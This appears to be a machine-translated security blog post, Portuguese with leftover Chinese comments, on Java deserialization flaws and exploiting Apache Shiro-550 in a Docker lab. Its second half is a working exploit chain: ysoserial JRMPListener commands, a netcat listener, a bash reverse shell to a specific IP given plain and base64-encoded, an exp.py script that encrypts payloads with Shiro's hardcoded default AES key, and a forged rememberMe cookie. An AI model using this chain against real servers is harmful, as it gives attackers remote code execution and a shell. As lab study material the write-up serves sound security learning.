Vulnerabilidade de desserialização Java (uso da ferramenta ysoserial, utilização de desserialização shiro)

Mecanismo de desserialização JAVA

Java salva o objeto como um fluxo de dados binários por meio da serialização writeObject e desserializa o binário serializado em um objeto Java por meio da desserialização readObject. do readObject que pode ser explorado de forma maliciosa

FileInputStream fileIn = new FileInputStream('1.bin')
ObjectInputStream in = new ObjectInputStream(fileIn)    
e = (Employee) in.readObject();

princípio de vulnerabilidade

Tome uma demonstração simples como exemplo

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class demo1{
    
    
    public static void main(String args[]) throws Exception{
    
    
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {
    
    
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
    
    
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        String [] cmd={
    
    "cmd","/C","calc"};
        // windows下执行此命令,linux->open /Applications/Calculator.app/
        Runtime.getRuntime().exec(cmd);
    }
}

Somente quando java.io.Serializable é implementado ele pode ser desserializado, e todas as propriedades devem ser serializáveis ​​(exceto as propriedades modificadas com a palavra-chave transient, que não participará da desserialização)

A função é reescrita readObject()e o comportamento da desserialização é personalizado. Ao desserializar, readObject será chamado primeiro, assim como o PHP chama __weakup ao desserializar

imagem-20211014210927339

imagem-20211014211002931

ac ed 00 05É a característica do conteúdo serializado java. Se for codificado em base64, então o correspondente érO0AB

O Java tem uma rica biblioteca de classes de terceiros e a desserialização do Java é causada principalmente por problemas de segurança de sua biblioteca de classes

explorar

ysoserial

https://github.com/frohoff/ysoserial/

Uma ferramenta de prova de conceito para gerar cargas úteis que exploram a desserialização insegura de objetos Java

Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'

Problema de codificação Base64: como o Windows não pode usar o caractere pipe na linha de comando simples para base, é recomendável usar Linux e adicionar comandos ao gerar base64 para garantir que ele não seja agrupado automaticamente

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" |base64 -w0
# 还需要进行一次 url 编码

Em relação ao uso de comandos do Windows, você pode consultar o link

http://jackson-t.ca/runtime-exec-payloads.html

Os comandos codificados de carga útil podem ser encontrados neste site

imagem-20211014222302220

Dispositivo

  • CommonsCollection

    1-10 corresponde à versão cc

  • CommonsBeanUtils

    Exploração em shiro721

  • JRMP

    JRMPClientName

    JRMPListenerName

  • URLDNS

  • JNDI

    JNDI (Java Naming and Directory Interface) é uma API de programação de aplicativos que fornece aos desenvolvedores uma interface comum e unificada para localizar e acessar vários serviços de nomenclatura e diretório. Os serviços suportados pelo JNDI incluem principalmente os seguintes: DNS, LDAP, serviço de objetos CORBA, RMI, etc.

Componentes Java afetados por isso

  • Shiro: Apache Shiro é uma estrutura de segurança de código aberto poderosa e flexível que lida totalmente com autenticação, autorização, criptografia e gerenciamento de sessão
  • Weblogic: Para ser mais preciso, é um middleware baseado na arquitetura JAVAEE.WebLogic é um servidor de aplicativos Java para desenvolvimento, integração, implantação e gerenciamento de aplicativos da Web distribuídos em grande escala, aplicativos de rede e aplicativos de banco de dados.
  • Fastjson/jackson: É uma biblioteca Java que pode converter objetos Java em formato JSON e, claro, também pode converter strings JSON em objetos Java
  • Apereo Cas: CAS é uma solução empresarial de logon único multilíngue para a web e tenta ser uma plataforma abrangente para suas necessidades de autenticação e autorização
  • JDBC: JDBC é a abreviação de Java DataBase Connectivity. É uma interface padrão para programas Java acessarem o banco de dados. Ao usar programas Java para acessar o banco de dados, o código Java não acessa diretamente o banco de dados através da conexão TCP, mas através do Interface JDBC e a interface JDBC Realize o acesso ao banco de dados por meio do driver JDBC
  • XMLDecoder: usado para desserializar o conteúdo do documento XML criado pelo XMLEncoder em um objeto Java, localizado no pacote java.beans
  • Yaml: Yaml é um formato altamente legível usado para expressar a serialização de dados. É semelhante ao XML, mas mais conciso que o XML. Em Java, existe uma biblioteca para analisar o formato YAML, chamada SnakeYaml, que é um YAML1 .1 Standardize Processor completo, suporte UTF-8/UTF-16, suporte a serialização/desserialização de objetos Java e suporte a todos os tipos definidos por YAML
  • XStream: XStream é uma biblioteca de classes Java usada para serializar objetos em XML (JSON) ou desserializá-los em objetos
  • Websphere: IBM WebSphere® Application Server Community Edition (WASCE) é uma plataforma leve Java 2, Enterprise Edition (J2EE) desenvolvida no Apache Geronimo, o projeto de servidor de aplicativos de software livre do servidor de aplicativos Apache Software Foundation
  • JBoos: É um servidor de aplicações open source baseado em J2EE.JBoss é um container e servidor que gerencia EJB, e suporta as especificações de EJB 1.1, EJB 2.0 e EJB3. No entanto, os serviços principais do JBoss não incluem contêineres WEB que suportam servlet/JSP e geralmente são usados ​​em conjunto com Tomcat ou Jetty
  • Jenkins: É uma ferramenta de integração contínua (CI) de código aberto que fornece uma interface de operação amigável. É usado principalmente para construção/teste contínuo e automático de projetos de software e monitoramento da operação de tarefas externas. Jenkins é escrito em linguagem Java e pode ser usado no Tomcat e outros populares Ele pode ser executado em um contêiner de servlet ou executado de forma independente. Geralmente usado em conjunto com ferramentas de gerenciamento de versão (SCM), ferramentas de construção. As ferramentas de controle de versão comumente usadas incluem SVN, GIT e as ferramentas de compilação incluem Maven, Ant e Gradle
  • Dubbo: Uma estrutura de serviço excelente e de alto desempenho de código aberto da Alibaba, que permite que os aplicativos implementem funções de entrada e saída de serviço por meio de RPC de alto desempenho e pode ser perfeitamente integrado à estrutura Spring
  • Claro que existem outros componentes

Shiro desserialização

Apache Shiro é uma estrutura de segurança Java poderosa e fácil de usar que executa autenticação, autorização, senha e gerenciamento de sessão

Recurso de impressão digital padrão da estrutura Shiro

Atribua qualquer valor ao campo ?rememberMe no Cookie do pacote de solicitação, e o campo ?rememberMe=deleteMe? existe no Set-Cookie do pacote de retorno recebido, indicando que o destino usa a estrutura Shiro e pode ser testado posteriormente

imagem-20211015141523931

shiro-550

princípio de vulnerabilidade

A estrutura Apache Shiro fornece a função de lembrar de mim (RememberMe). Quando uma solicitação de usuário não autenticado é recebida, as seguintes ações serão executadas

  1. Extraia o valor do campo RememberMe no Cookie do pacote de solicitação
  2. Base64 decodifica o valor do cookie extraído
  3. AES decodifica o valor decodificado base64
  4. Chame o método ObjectInputStream.readObject() na matriz de bytes descriptografada para desserializá-la

O problema é que no Shiro 1.2.4 e versões anteriores , a chave de criptografia AES é codificada no código por padrão. Se o servidor usar a chave de criptografia padrão, o invasor pode construir um objeto malicioso e executar código arbitrário

explorar

O ambiente é construído com docker

# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1
# 启动docker,注意端口是否在安全组中打开
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

Visite IP: porta, esta página foi construída com sucesso

imagem-20211015140842418

Existem muitas ferramentas gráficas, como link , mas para entender melhor a vulnerabilidade, use-a passo a passo

Verifique se a chave padrão existe

Ferramenta: https://github.com/insightglacier/Shiro_exploit

pip install pycryptodome
python .\shiro_exploit.py -u http://url:port

imagem-20211015142407101

explorar

1. Ouça a porta 9999 no vps

nc -lvvp 9999

O shell usado para receber bounces

2. Por meio do módulo de monitoramento JRMP em ysoserial, monitore a porta 6666 e execute o comando rebound shell

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

# 其中 base 编码通过 http://www.jackson-t.ca/runtime-exec-payloads.html 网站编码,注意此处和端口为上一步 vps 监听端口
bash -i >& /dev/tcp/121.196.173.254/9999 0>&1
bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{
    
    base64,-d}|{
    
    bash,-i}

3. Use o script exp.py modificado para gerar carga útil

python2 .\exp.py 121.196.173.254:6666

# 注意 exp.py 和 ysoserial 要在同一目录,端口是 jrmp 监听端口,生成 payload
rememberMe=deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==

exp.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4. Construir pacotes de dados, forjar cookies e enviar Payload

imagem-20211015144742694

Recupere o shell com sucesso

Não apenas esse tipo de método de exploração, você também pode executar comandos diretamente, também há a vulnerabilidade Shiro 721, você pode ler este artigo Link , Link2

Rencai precisa aprender mais, desta vez é apenas um simples estudo de desserialização Java, continue trabalhando duro

Acho que você gosta

Origin blog.csdn.net/qq_50854662/article/details/130880584
Recomendado
Clasificación